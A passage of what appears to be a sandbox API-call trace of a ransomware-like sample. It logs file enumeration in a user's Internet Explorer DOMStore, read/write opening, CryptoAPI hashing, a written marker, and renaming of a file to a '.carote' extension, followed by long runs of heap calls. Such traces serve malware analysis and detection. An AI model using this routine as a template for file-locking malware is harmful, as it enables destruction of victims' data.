HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.651] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.651] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1 [0114.651] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0114.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.652] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=836) returned 1 [0114.652] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.654] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.654] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.655] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x344, lpOverlapped=0x0) returned 1 [0114.655] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.655] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.655] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.655] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0114.656] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.656] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.656] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.656] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.656] GetLastError () returned 0x0 [0114.656] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.656] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0114.656] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.657] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.657] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.657] CloseHandle (hObject=0x61c) returned 1 [0114.657] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.carote")) returned 1 [0114.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.658] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0114.659] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0 [0114.659] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0114.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20bf0 | out: hHeap=0x5010000) returned 1 [0114.659] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.659] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0114.659] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.659] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.659] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.659] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.659] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.660] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.661] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.662] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.662] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.663] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.663] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.664] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.665] 